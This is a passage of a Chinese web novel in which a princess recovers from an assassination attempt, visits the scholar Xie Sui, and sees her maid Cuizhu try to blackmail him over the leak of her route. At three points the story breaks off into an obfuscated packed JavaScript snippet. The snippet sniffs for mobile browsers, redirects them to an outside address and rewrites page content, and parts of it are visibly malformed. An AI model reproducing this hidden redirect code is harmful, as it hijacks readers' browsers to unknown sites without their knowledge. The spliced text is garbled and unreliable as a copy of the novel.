冯妙瑜松了口气,拍了拍阿玉的肩膀。 她身边这两个侍女里,翠珠灵活擅于应变,阿玉话虽不多,有点木木的,却更沉稳一些。 “护卫的伤亡情况呢?”冯妙瑜又问。 这个时候随驾的朱太医也领着几个小徒弟赶到了,白发苍苍的老太医看着一派和气,却是宫里最会拿捏冯妙瑜的人了,半是强硬半是哄劝的,把冯妙瑜摁到了卧榻上休息。 “大多是受了些外伤,有三个没了,还有五个伤的重,就看能不能熬过今晚了……只是就算是熬过了今晚,有的也不能再握起剑了。” “你就和下面的人说这是我的意思。不拘汤药要用多少银钱,但凡有用的都用上,能救回来一个是一个。”冯妙瑜沉吟片刻,叹息道:“握不了剑也不打紧,也许没有做侍卫风光,但公主府那么大,总能找个差事养着他们。你先回去好生歇一歇,待明日再置办那三个侍卫,还有车夫周阿七的后事。” 她握住了阿玉的手,又提点道:“这笔钱不用从翠珠那里过账,你拿了我的令牌亲自去。这事我只放心你去办。” 翠珠虽灵活,但有时候未免太过于灵活了些。平日里吃些回扣,贪些小财也就罢了,但是在这种事上,冯妙瑜不会睁一只眼闭一只眼。 朱太医敲了敲医箱,圆圆的脸上,那神情非常不悦。冯妙瑜立马收了手乖乖躺回榻上。 天子之怒,伏尸百万,血流千里①。朱太医一怒,虽然不至于血溅三尺,却有一碗又一碗的良药苦口。 朱太医开的药千滋百味,有的苦,有的发酸,有的发涩,千奇百怪,各有各的的难喝,给冯妙瑜等一众皇子龙孙无忧童年生活添了浓墨重彩的一笔阴影,很长一段时间,冯妙瑜看见朱太医都会绕道走,生怕被抓去开两剂怪药吃。 “气血紊乱,脉行躁动不安,殿下这是受了惊,此外,还有些风邪入体的征兆,殿下眼下最该操心的是,该怎么休养好身子才是。”朱太医板着张脸,训斥道。 朱太医年过半百,却偏偏长了张圆脸。那张圆乎乎的脸一本正经起来时,总有种诡异的滑稽感,像是个偷学大人的小孩。 冯妙瑜嘴角偷偷抽动了两下,想笑,却不敢笑出来。 毕竟朱太医的心眼,有时候比银针的针还要小。眼下笑话了他,一会喝药的时候,他就敢用更苦的药让你再也笑不出来。 喝了碗朱太医特制的安神药,没多久,冯妙瑜便昏昏沉沉的陷入了梦境之中。 又是那个梦。 寂静冰冷的夜晚,伸手不见五指。唯有那只匕首反射月光的寒芒。 泪水顺着女人凹陷的脸颊落下,一滴滴,一刀又一刀,悲痛与疯狂蛛丝似的喷涌,交织在那张麻木的脸上,旧忆被雪白的蛛网封存在凹凸不平的褶皱里,女人的声音从很远的地方飘来。 “你害死了我的夫君” “杀人偿命,天经地义” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357890|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “灾星!一定是你,是你!克了我的曜儿!” ...... 有男,有女,有老,有少。 无数道声音,海浪一样猛地扑在她身上。冯妙瑜捂住了耳朵,本能的想要逃离那间阴冷只剩下月光的房间。她抬头,步子还没有迈出去,却见那个女人已经死了。已经死去多时了。枯槁的仰着头,空荡荡的眼睛盯着房梁,那只匕首亦不见了踪迹。 她就低头看了看自己。 月白色寝衣,她找到那只匕首了。 正正好好扎在她的心口上。 冷冰冰的,不知道什么时候,一只苍白的手悄无声息攀上了匕首的柄。 冯妙瑜猛地睁开了眼睛,从噩梦中惊醒。 营帐里漂浮着一团团烛光,心脏处传来的悸动,无言诉说着方才的一切都只是一场荒诞的梦,可又不只是一场梦。冯妙瑜隔着衣领触到了那道旧伤,多年前的那个深夜,那个女刺客的的确确,将冰冷的匕首送进了她的心口处。 那一刀,离要了她的命只差了区区一毫。 冯妙瑜长长的吸了口气,她揉了揉眼睛,却突然发现营帐内还有一个人。 紫袍金冕。 是冯重明。 “父皇?我……” 冯妙瑜急切地坐起身,才说了几个字,冯重明寒渊般幽深的目光如一盆冰水当头浇下。冯妙瑜微微打了个寒战。梦醒了。 父皇。 是父,更是君。 她咳嗽了两声,将后面半句撒娇似的“方才做了一个好可怕的噩梦”,又吞回了肚子里。 “父皇大驾,儿臣却衣冠不整,有失迎候,”冯妙瑜匆匆起身行礼,垂首道:“还望父皇恕罪。” 冯重明摆了摆手,嘴角上扬,可眼睛里却是冰凉一片。 “只是来看看你怎么样了,不必多礼。”他看着冯妙瑜的眼睛,平静地说:“今日埋伏狸娘那些刺客,连带着他们的家人,朕已经下令全部处死了。平远候的余孽已清,狸娘大可安心了。” 冯重明微妙的态度,再加上这句略显古怪的话,冯妙瑜微微一愣,随即惊诧地瞪大了眼睛。 父皇难道认为今日暗杀一事,是她为了对平远候一脉赶尽杀绝,自导自演的一出大戏? 冯妙瑜张了张嘴,正想解释两句,冯重明却道:“这事不必多谈,女大当婚呐,眼下最要紧的还是你的婚事——可有中意的人选了?” 有那么一瞬,她真希望当年那个女刺客的那一刀没有刺偏。 冯妙瑜心底涌上一股浓重的悲哀,她疲惫地揉了揉太阳穴,压着声音里的颤抖,“京中青年才俊众多,驸马之事,儿臣眼下尚未决定下来。今日儿臣身子实在是不适,此事能否过两日,等儿臣决定下来后再谈?” 暖黄的烛光下,他这才注意到他的长女脸色看起来比纸还要白。她半靠在床柱上,眼底闪着粼粼波光。那张面容,与年轻时的张氏简直是一个模子里雕刻出来的。 当年,在他还是个王爷的时候,半逼半强纳了张氏,那时的张氏就是差不多的神情…… “你……”冯重明像是被人拿针扎了一下,登时词穷,但也只有短短的一刹。一刹之后,他又从一个爱而不得的凡人变成了那个高高在上的人间帝王,“那你先好生休息,不舒服了就喊御医。” “是。儿臣恭送父皇。” 9. 出行 苦涩的药汤味弥漫开来。 “还要喝药,这药得喝到什么时候?” 营帐外面春光晴好,冯妙瑜嘴上抱怨了句,恹恹地接过阿玉递来的药碗。 也不知道是朱太医的医术实在高明,还是因为他是个不折不扣的乌鸦嘴,冯妙瑜回猎场的第二日一早,就因为染上风寒,不得不卧床休养了。 “朱太医说,这药要喝到您完全不咳嗽了才能停。”阿玉道。 冯妙瑜耷拉着眉毛,那药放凉了只会更苦,她瞟了一眼肃然守在一旁的阿玉,长痛不如短痛,她闭上眼睛,端起药碗一饮而尽。 稠苦的味儿瞬间在舌尖上炸裂开。 冯妙瑜急忙伸手去够桌上的蜜饯盒子,却被阿玉抢先一步。 “朱太医说了,吃蜜饯会影响药的效果。” 冯妙瑜抿了抿嘴,不给吃蜜饯就不给吃吧,那她喝茶清清口总可以吧?想着,她又伸手去抓茶杯,指尖才刚刚碰到茶杯边上,阿玉却又赶在她前面,拿走了茶杯。 “朱太医还说了,喝茶也会影响到这药的药效。” 阿玉利索地收了蜜饯盒子和茶杯,一副没得商量的模样。 冯妙瑜看着阿玉那张一板一眼的木头脸,打是不可能打得过的,至于吵架——这世上还有比和一个木头人吵架更没意思的事情吗,她只能气呼呼缩回了被窝里。 不过是一块蜜饯,一盏茶而已。 要换了翠珠,翠珠肯定不会这么听朱太医的话。冯妙瑜心里愤愤地想,翠珠这才休息了三天,她就已经开始无比想念翠珠了。 —— 朱太医开的那药里面似乎放了安神的药物,冯妙瑜喝完药没多久就困得不行了,只是她才刚睡着,迷迷糊糊就被营帐外一阵杂乱的说话声给闹醒了。 “放开本宫!本宫为何要来看她?她有什么好看的!她得了风寒那不是活该吗——前几日被她害死的那些人里,还有才满十六岁的少年,这可不是报应吗?你们说,她要是把晦气过给我可怎么办?你们这些人有几个脑袋,能担待的起吗!” “祸从口出,还请太子殿下慎言。什么害死不害死的,那些人可都是企图行刺于长公主殿下的刺客,死有余辜呀。”有人低声劝道:“眼下这于情于理,您都该来的呀。她是您同母的长姐,长姐如母,她抱病时您都不去探望她,又如何向天下彰显太子殿下您的仁德礼义?” “是啊,太子殿下,您好歹进去坐会……哎,那好像是长公主身边的阿玉姑娘,微臣这就叫她去通传。” 营帐隔音极差。人在外面说话,里面听得一清二楚。 只凭声音,冯妙瑜就知道外面说话的人是她的亲皇弟,太子冯敬文和几位东宫所属的官员。 就像是有只啄木鸟在耳边打洞,冯妙瑜脑袋里的那根经“突突突”跳个不停,不光是因为不想见到冯敬文那张臭脸,更是因为,今日当差的是那个阿玉。 她正想着,阿玉已掀帘进来,见冯妙瑜坐在床榻上,张口便道:“殿……” 这习武之人,没别的,就是嗓门贼大。 “嘘!嘘!嘘!” 冯妙瑜连忙比了个噤声的手势,又招手示意阿玉靠近些。 “你就和他们说我睡下了,太子的心意到了就行,然后打发他们回去。” 阿玉眨了眨眼,“可您这不是醒着吗?” 冯妙瑜郁闷地叹了口气。如果是翠珠,肯定不会问出这样的问题。她又开始想念翠珠了。 “朱太医有没有说,我现在需要静养?” “说了。” 冯妙瑜开始谆谆善诱:“我需要静养,静养说白了就是不见客。但是呢,直接说不见客不适合,所以要和他们说我睡下了,明白了吗?” 阿玉就点点头。 “很好。” 冯妙瑜也满意的点了点头。 “别和他们说这些话是我说的。” 为保险起见,她最后又叮嘱了一句,便让阿玉出去了。她刚刚掖好被角躺回去,就听见阿玉的大嗓门。 “公主已经睡下了,她说太子的心意到了就行。太子殿下和几位大人请回去吧。” 冯妙瑜:“……” 一个睡着了的人怎么会说话! 她就少叮嘱了半句! 得赶紧找朱太医问问翠珠的情况,长公主府里不能没有翠珠。冯妙瑜只觉得太阳穴一阵阵的抽疼,她自己揉了揉,心里又啪啦啪啦拨拉起算盘珠子。 东宫这几个属官还算尽职,等这次田猎结束回了公主府,得给他们赏点东西,打点一二才是…… —— 左不过是最寻常不过的风寒,三两剂药吃下去,没两天,冯妙瑜就好得差不多了。那晚若是没有谢随在还不知道会怎么样,她本来想找机会亲自向谢随道个谢,只是等她好了,春猎也到了尾声,谢随早就回盛京去了,冯妙瑜也只得作罢。 青盖小车,车内的陈设一律照旧,漳绒毯子,檀木小几,八角琉璃灯居高临下。只是里面堆着许多卷轴。 “这些卷轴是哪里来的?” 她一面皱着眉问阿玉,一面抽出一卷翻了两下,上面全是年轻男子的画像。 “是陛下交代的。”阿玉就说。 这是父皇在变着法子提醒她驸马的事情。 冯妙瑜一想到那什么驸马的事就觉头疼,随手把卷轴扔到了一旁。 不过,也并非没有好事。 冯妙瑜前脚才踏进公主府的大门,抬眼,便瞧见翠珠笑盈盈地站在门里面。 “公主。” 翠珠换了身柳青色半臂,鹅黄色窄袖单衫从半臂里探出来,冯妙瑜见她面色红润,脸上的表情不由柔和了几分。 她叫来账房,给一众侍卫和翠珠阿玉等人额外发了三个月月钱,又给翠珠和阿玉两人单独添了一倍。 不过翠珠到底是伤病初愈的人,冯妙瑜怕她在外面跑来跑去见风受了凉,就临时安排翠珠去帮她看那堆画像。 “家世要普通,官位要小,最重要的还是人品。人品上不能有一点儿马虎。”冯妙瑜拉着翠珠叮嘱道。 这样的要求可谓古怪。翠珠眼里闪过一丝惊诧,但也未多问,点点头就抱着那对卷轴回去了。 天气渐渐暖了。院角那株蔷薇爬满了墙头,浅浅的玫瑰红,煞是好看。 这日。 屋里用银叶云母熏了温润的杏花香,八九个装春衫的大箱笼一字排开,冯妙瑜抱着那只雪白的狸奴,像个检阅下属仪容的将军一样昂首从一只只箱笼间穿过,目光挑剔而毒辣。 红色艳俗,黄色显黑,紫色老气,那件蓝的颜色尚可,只是样子是去年的不行……每件衣裳好端端的,却总能叫她挑拣出十几处不满意的地方来。 翠珠趁着背过身拿衣裳的功夫偷偷叹了口气,冯妙瑜平日里分明不怎么注重衣装的,除了进宫赴宴之类的重要场合,素日大多是随便套两件衣裳,今日也不知道是怎么了。 “公主,这身水红的怎么样,您看底下还绣着海棠和小蝴蝶,奴婢觉得挺应景的。”阿玉道。 “这颜色太嫩了,小孩子才穿这样颜色的衣裳。”冯妙瑜皱着鼻子,摆了摆手。 翠珠就捡了件浅葱地暗花纱绣裙给冯妙瑜看,倒是清雅,只是似乎太素了点,冯妙瑜努了努嘴,正想挑剔两句,翠珠却抢先道:“公主,要不就穿这件吧?颜色正,花样也新奇。”她指了指外头,委婉道:“这会都快到巳正了,您要是再不出门,怕是一天都过去了。” 冯妙瑜想了想,觉得翠珠说的有道理,却还是迟疑一会才点头。 女儿家衣裳首饰积攒的再多,真到了要紧的场合,也总觉得缺一件。 待伺候冯妙瑜换好了衣裳要准备出门,翠珠立马找了个机会拉住阿玉。 这几日她在替冯妙瑜看画像,并未在冯妙瑜身边贴身伺候,有很多事情都不清楚。 “公主今日这是怎么了,像变了个人似的。”翠珠装作不经意地问道。 “公主说因为今日天气好,想出去走走。有什么奇怪的。”阿玉倒没察觉出什么不妥来。 翠珠想了下,换了个说法问。 “公主眼下是要去哪儿?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357891|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “先去拜访东宫詹事周大人和另外两位大人,然后就是去探望谢公子。” “是吗。” 翠珠突然意味深长地笑了下。 只是送个东西,哪里需要冯妙瑜亲自跑一趟?她似乎明白了什么。这是女为悦己者容了。 提前和未来的驸马爷打好关系可不是坏事。 翠珠心里的小算盘珠子打得叮当响。她道:“阿玉,我也在府里闷了好几日了,今天就由我陪着公主出门怎么样?回来的路上,我给你带杏花楼的点心。最贵的。” “可以是可以,不过你今个早上不还说外面风大,不想出门吗?”阿玉有些疑惑。 “这会又没风。” 翠珠笑着扑上去搂住阿玉的腰,又捏了把阿玉的脸,鹅蛋脸桃花眼,可惜却是个不解风情的木头美人,她叹了口气,“阿玉,你这样以后可怎么嫁出去?” 阿玉:“?” 方才不是在说出门的事吗,怎么突然扯到嫁人上了? 冯妙瑜就带着翠珠先去拜访了几位东宫官员,她们刚从周大人府上出来,正准备上车时,却突然被一道中气十足的声音给叫住了。 林修远甩下同行的几个狐朋狗友,大步朝着冯妙瑜两人的方向走过来。他今日倒没再穿那件扎眼的嫩绿衣裳,只是那张黝黑国字脸配米粉也没好到哪去。翠珠还是头一回见他,一时没忍住,噗呲地笑出了声。 “林将军?” 按说两人第一回见面并不是那么愉快,冯妙瑜微微偏着头,步摇上白玉的莲花坠子晃了两下,愈发衬得脖颈如霜似雪。 她不明白这人为什么会突然叫住自己。 林修远立刻别开眼,他抓了抓自己的后脑勺,道:“那天,就那个事儿,我……” 他本想就那天误会冯妙瑜乱来的事道个歉,杵着支吾了大半天,也没说出个所以然来,冯妙瑜望着他的眼神愈发不解,身后远远传来那几个狐朋狗友的调侃的笑声,不知道是气的还是羞的,林修远的脸都涨红了。 “给你的,赔,赔罪礼。”林修远匆匆拿出一个木盒塞到冯妙瑜手里,“一定要收下,”他见冯妙瑜扬手作势要推拒,忙补充道:“你,你要是不收下,就是看不起我这个人!” 像是怕冯妙瑜不收,他说完就转身头也不回地跑开了,原地留下一个哭笑不得的冯妙瑜和一个努力憋笑的翠珠。 直到回到车上,翠珠还是笑个不停,笑的眼泪都溢出来了,她神神秘秘地凑到冯妙瑜耳边,道:“公主,奴婢以前曾学过一点相人之术,依奴婢看,方才那位林将军日后指定会被女人骗。骗得很惨,倾家荡产那种。” “你怎么越发没规矩了。这种话可不能胡乱说。”冯妙瑜看她一眼,板起脸训斥道。 私下议论朝臣,可不是什么好事。要是叫别人知道了,少不了要往翠珠头上扣一顶目无尊卑,以下犯上的大帽子。 翠珠满不在乎的偷偷吐了吐舌头,又转而催促冯妙瑜打开锦盒看看。 盒内放着一只做工考究的绒花金簪,毛茸茸的,三朵白梅无比惹人怜爱的缩在一处,底下托着细长的竹叶,珍珠做的花苞,想来破费不少。 翠珠突然心生一计,她转身拿了铜镜过来,殷勤道:“公主,奴婢觉得这支白梅簪子好像比那支莲花玉簪更衬您今日的衣裳,要不,奴婢给您戴上瞧瞧?” 虽说是歉礼,但未婚男子赠送簪钗,难免有些暧昧了。 冯妙瑜还没想好要不要收下这只簪子,翠珠却已经动手将那支白梅簪子别在了她的鬓边。也许是受翠珠的话的影响,冯妙瑜对着铜镜左右看了看,竟也觉得那只白梅簪子好像更合适一点。 一路上,翠珠有意无意地又提起了画像的事情。冯妙瑜先前提出的条件虽然有些古怪,但那堆画像足足有一百多张,满足条件者还是有十几个人的。 两人说话间,马车前行的速度已慢了下来。 马蹄敲在褐石官道上,声声清脆。冯妙瑜透过纱帘朝外看去,谢随寄住的那间茶馆慢慢近了。 不知道为什么,她的心跳却突然变得很快。 10. 探病 登门造访一事,冯妙瑜早已差人提前告知谢随,所以见到那辆青盖小车,谢随并不意外。春光和暖,他翻掌做了个请的手势,自己拄着拐走在前面,引冯妙瑜主仆二人进屋。 上次来时,冯妙瑜只是在茶馆里小坐片刻,如今由谢随领着进了后院,这才发觉此地远比她想象中宽敞,那间不起眼的小茶馆后面,竟藏着个两进的宅院。 粉墙青瓦,翠竹掩映,占地不算大,却胜在精巧别致。 这样浑然天成的风流气派,一看便是出自谢随的手笔。冯妙瑜环视一周,心里暗暗想着。 才越过门槛,冯妙瑜还没来得及看清楚屋内陈设,一道黄影,忽然以迅雷不及掩耳之势从旁窜出。冯妙瑜下意识后退了半步,随即低低“啊”了一声。 一只黄白相间的胖狸奴高高扬着尾巴,宣示主权似的围在她脚边转了一圈,喵喵叫了两声,呼噜噜在她脚边打了个滚儿,露出白白的肚皮。 “衔蝉。” 谢随回头,声音里带着淡淡的责备。他向冯妙瑜致歉道:“狸奴顽劣,吓到公主了……这猫儿怕生的很,平日见人就躲,今日也不知是怎么了。” 他说着,伸手就要拎起那只狸奴,不料那狸奴眼儿一转,猛地纵身跃起,冯妙瑜习惯性地伸手接住。 那刁狸奴满意的哼哼了两声,金黄色皮毛上有阳光的味道,暖洋洋的。 “不打紧的。它大概是闻到我身上雪团的味道了,”雪团是她那只白猫的名字,冯妙瑜心情大好,笑着问道:“这是谢公子养的狸奴吗?” “算不上是养,不过闲来喂过它几次,竟被它赖上了。” 见衔蝉试着伸爪子去够冯妙瑜鬓边的发饰,谢随道:“这猫儿野,远比不得家猫性情温顺,公主还是把它放下吧。” “没事的。它可比雪团温顺多了。”冯妙瑜摇摇头,伸手让谢随看她的手背,白皙的手背上有数道发白的旧伤,细细的,都是被猫爪子抓过后留下的,“雪团刚抱来的时候可凶了。” 她的声音本就轻柔,句尾还不经意的微微扬起,谢随看她垂眸挠着衔蝉的下巴,绒花发簪轻颤,猫是毛茸茸的一团,她也是。 “宫里的狸奴竟这般顽劣?”谢随道。 宫中有专门驯养奇兽宠物的地方,听说那里的宫人连狮虎等猛兽都能调理得服服帖帖,更何况猫儿狗儿的。 “雪团是五皇妹在去法云寺还愿的路上捡来的,是只地地道道的野猫。”冯妙瑜说。 雪团性子虽野,但生得雪白可爱。五公主冯妙瑶把它当作自己的眼珠子似的疼爱着,和亲使团出发前,她红着眼睛把雪团交给了冯妙瑜。出关后永无回京之日,她不愿,也不可能带上雪团同去。 冯妙瑶走后,她住过的宫殿搬入了父皇的新宠妃,殿外她最喜欢的那颗老梨树也被新主以“梨”字通“离”不吉利为由连根砍去,偌大的皇宫里,能证明冯妙瑶这个人存在过的就只剩一个雪团了。宫里宫外,驯兽无非饥一顿饱一顿,打一鞭子再给块糖。冯妙瑜怎么舍得把雪团送到那里去。 何况雪团本性不坏,万物皆有灵,它只是误以为自己被主人“抛弃”,在伤心罢了。 怀中的狸奴似乎体察到了她的情绪,突然用毛茸茸的小脑袋蹭了蹭冯妙瑜的手,冯妙瑜挠了挠它的耳根作为回报,换了个话题。 “谢公子这只狸奴的名字十分有趣,衔蝉二字,可是出自山谷道人《乞猫》‘闻道狸奴将数子,买鱼穿柳聘衔蝉。’①之句?” 谢随点点头,递给她一杯淡茶,他沏茶时的动作漂亮极了,“正是。不过‘衔蝉’二字却非黄山谷首创。据说后唐有位琼花公主有一猫,‘白而口衔花朵’,便唤作‘衔蝉奴’。”② “听说最近祥云酒楼出了新菜,先以炭火炙烤蜩蝉,再蘸醋食用,有不少人慕名而去。”冯妙瑜脱口而出。 这话刚一说出口她就后悔了。 她都说了什么呀。他大概对这些市井杂谈不感兴趣的吧,早知道来之前多背两首和狸奴有关的诗文了。谢随看起来是那种喜欢知书达理型女孩的人。冯妙瑜正胡思乱想着,不料对面的谢随却开口了。 “说到祥云酒楼,我记得过去他们夏天有一道槐叶冷淘③,味道十分清爽。” 谢随突然轻轻笑了。 儿时祖父谢玄常在祥云酒楼与老友谈论国事,年幼的他听不懂大人口中那些家国政事,便只管提箸大快朵颐,窗外白云流过,当时觉得平凡到有些无聊的时光,如今却觉得格外珍贵。 “后来我还写了首关于槐叶冷淘的打油诗。” “谢公子还写过这样的诗?我怎么没读到过……” 冯妙瑜顿了一下,突然反应过来自己说漏了嘴,急忙找补道:“我的意思是,谢公子写的诗文实在是太有名了,上到八十老人,下到三五岁稚儿都知道。” 年少时,因为爱慕着一个天边明月般可望而不可及的人,偷偷收集了他写过的每一句诗文,比背夫子布置的功课还要用心,一字,一句,倒背如流。好像这样做就能离那轮月亮稍微近一点点……当真是年少无知。 这种事情怎么可能说得出口,还是在正主面前。 谢随愣了一下。 “多谢。” 盛京是座健忘的城市,每天有太多事情在这里酝酿,爆发,他没想到过去了这么多年,竟然还有人记得曾经那个意气风发的自己。 远远传来街道上小贩叫卖声,春意溶溶的午后,一男一女面对面坐着聊天,从狸奴聊到诗歌,再从诗歌到市井小吃,这是一年里最好的季节,竹影簌簌落在几案上,翠珠回头看了一眼,带上门悄悄出去了。 “怎么都到这个时辰了。” 冯妙瑜揉了揉眼睛,暮色已沉,衔蝉早不知道跑到哪里去玩了。 “我去点灯。” 谢随扶了桌边慢慢起身,冯妙瑜连忙走过去拦住他,道:“我来吧,谢公子你告诉我灯油在哪里就好。” 谢随这伤可是因为她。 “还是我来……” 那灯油放的位置有些高,谢随的话还没有说完,冯妙瑜已经瞧见了灯油的位置,踮起脚尖试着去够,屋里又黑,她光想着帮谢随的忙,一时间没有注意到脚下,谢随道:“当心——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357892|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗中,两人靠的极近,气息微妙的交缠在一起。 冯妙瑜只觉得被什么东西绊倒了,下一秒,就落到一个陌生的怀抱里。 原来,天上的月亮不是冷冰的,竟然是混合澡豆和墨汁苦香的温暖。她茫然地想。 “您……没事吧?” 冯妙瑜听到谢随的声音,才猛地回过神来。 “没,没事。” 环在腰间的手臂松开,两人似乎离得太近了,她的侧脸几乎贴在谢随的领口处。 “时辰不早,我就不叨扰公子了,谢公子要是有什么需要的,只需叫人去长公主府里说一声即可。” 脸上像是发烧了一样滚烫,冯妙瑜后退两步,几乎是逃走的。 直到坐上回府的马车,冯妙瑜都没从那个拥抱里缓过劲来,那人炙热的气息,还有有力的手臂……冯妙瑜第十次伸手挠头,要不是顾及着翠珠在,她大概会把自己的发髻抓成个乱糟糟的鸡窝样。 好在翠珠如今心里装着事,竟没注意到冯妙瑜的反常。 马车行驶了没多久,翠珠便说要下车去杏花楼购买点心。京城内守备森严,还那么多公主府的护卫,倒也不需要翠珠时时跟着,冯妙瑜没多想就同意了。 待青盖小车的影子完全消失在视野里,翠珠立马叫住了个在杏花楼外徘徊的闲汉。 “杏花楼里的各式点心各买两份,戊初时,给我送到崇仁坊门口,我会在那里等着你。” 说着,两枚沉甸甸的雪花银落在那闲汉手心。 那可是整整两枚银子呐,翠珠只觉得自己心里都在滴血。但她既然和冯妙瑜说了自己是去买点心就得带着点心回府才行。 “到时候找的零头都归你。记着,崇仁坊门口,戊时。我也有可能晚一点到,你会在崇仁坊门口等着我吧?” “那是自然。就是您明个一早才过去,小人都会等着的。”那闲汉一拍胸脯,笑得很高兴。这可是难得的大单。别说一枚银子,半枚银子都够他们一大家子吃整整一个月。 “那就好。” 翠珠也没有时间和一个闲汉聊天,她转身,向着方才来时的方向走去。 听见一阵急促的敲门声,谢随合上衣柜才去开门,见是冯妙瑜身边的侍女,谢随微微挑眉,惊诧道:“你是.......长公主身边的人。可是公主有什么交代?” 翠珠摇摇头。 “是奴婢私下里找您有事。有件事想问问您。” 她说着,抬头微微一笑。那是很古怪的笑容,嘴角上扬露出几颗雪白的牙齿,眉眼间却没有一丝笑意。盛京那些地痞流氓在敲人竹杠,向人讨债前就是这样的笑容。 “公主遇刺那日,谢公子都做了些什么?” 谢随眼角余光扫过身侧的衣柜,不动声色,“姑娘应该知道的,林大人让我帮他打听云塘铺面的价……” 翠珠打断了他。 “谢公子,你该知道我想问的是什么——” 她压低了声音,歪着头慢慢说,“那日公主的行踪是你透露出去的。” “我说的没错吧,谢公子?” 11. 交易 心里越是惊诧,谢随面上就越发镇静。 云塘酒楼那刀疤脸小厮出自那位大人门下,做事都是十万分的谨慎小心,断不可能落下任何线索。冯妙瑜身边的侍女怎会知道?只是试探,还是说她手里真的有什么证据……不对。若证据确凿,今日午后来的就不是冯妙瑜,而是奉命捉拿他的官差了。冯妙瑜不知道这件事。她身边这个侍女想做什么? 眨眼间,谢随心里已闪过无数念头。不过眼下他手头掌握的信息还太少,只能见风行事。 他道:“翠珠姑娘,谢某不明白你在说什么。” “那天公主是微服出行。去那间酒楼用午膳,还有直接回猎场都是临时起意,平远侯府那几个残党,是如何得知公主的行程,还正好在公主回猎场路上设下埋伏?”翠珠逼问道。 “所以,姑娘就怀疑是谢某透露了公主的行踪?” 谢随面露愠色,手里拐杖不轻不重在地上点了两下,“谢某不清楚姑娘从哪里打听到了什么,还是单纯的猜测,谢某只想问一句,假如是——那这样做对我有什么好处?” 翠珠一直在观察谢随,眼神、语气,她手里的确没有确凿的证据,只是从几个江湖朋友那里听来些小道消息。能诈出来是最好的结果,如果谢随真的没有做或是不上钩,翠珠手心粘腻腻的,那也只能硬着头皮上了,她不能退,更没有退路。 冯妙瑜不会亏待身边人,却也容不得丝毫背叛。 她受伤的这段时间里,张家的人别说送点汤药银钱,就是看都没看她一眼。一旦她失去利用价值,张家会毫不犹豫地丢下她这颗弃棋!一个吃里扒外的人,到时候,长公主府也断不可能容得她。她得早做打算,先下手为自己谋条后路,至少得积攒些养老钱才是。 “这点谢公子应该更清楚才是。不管公子是做了还是没做,怀疑这种东西可就像种子一样,一旦落到了田庄地里,仅凭您自己一个人可是很难洗脱这个嫌疑的。永无翻身之地,像您这样的人……真的甘心吗?” 她手里没有证据。 谢随一下就宽心了,悠悠道:“你是公主的侍女,我怎么有点不明白了——你想做什么?” “有句话是怎么说来着?好鸟选好枝……” “良禽择木而栖。”谢随出言提醒。 “意思到了就行,”翠珠摆摆手,接着道:“我想和谢公子谈一笔买卖。” “谢公子应该也听说了公主近来在为驸马人选一事忧心。做公主的驸马可不是坏事,虽然名头上没那么好听,但是前途一片光明,那日后的好处可多着呢。” “礼部的周侍郎、司农寺卿的长子、罗探花,还有……” 翠珠报菜名似的一口气报了十几个名字出来,谢随淡淡笑了一声,带着点不屑的,翠珠却以为他是自我解嘲,心中大喜,急忙添油加醋,“哦,还有那位林家世子,谢公子可有注意到公主今日戴的那支发簪?那就是林世子所赠,实话说,这竞争可不小。” 林家世子,她说的是林修远? 谢随微微皱了下眉,冯妙瑜应该不会喜欢那样的人,他正想着,翠珠福了福身,恭敬道:“但若谢公子有意一争,那奴婢也愿助谢公子一把。” 这简直是瞌睡送枕头的好事。 谢随却面色如常,问道:“你方才说这是一笔买卖。那你想要什么?” “事成之后,这个数。”翠珠搓搓手,比了个数字出来。 那是个不小的数字,节省一点够她花一辈子,但对长公主的驸马来说不过九牛一毛。 “可以。” 谢随答应的十分爽快。 于是翠珠笑了。谢随也跟着笑笑,一副好说话的模样,“不过,口说无凭,翠珠姑娘也得拿出点诚意来吧?” “奴婢不识字,更不会写字。” 翠珠立刻道。 开玩笑,傻子去敲竹杠都不会留字据。这不是自己给自己挖坑吗! “可我与姑娘素昧平生,”谢随佯装苦恼的样子,沉吟片刻,他道:“总得有什么东西能证明这笔买卖才行,不如,你在我这里留件信物?” 翠珠有点犹豫,但谢随是最好的人选了。其他的驸马都有一定出身,给她十个胆子她也不敢上门去敲人家竹杠。当真是富贵险中求,翠珠一咬牙,从腕上摸了一个玉石镯子递给谢随。 “这可是刚入府的时候,公主赏给我的,”翠珠肉疼的呲着牙,那玉料极好,相当值钱,“这个镯子的钱……” “翠珠姑娘方才说的那个数,再翻一倍。”谢随道。 —— 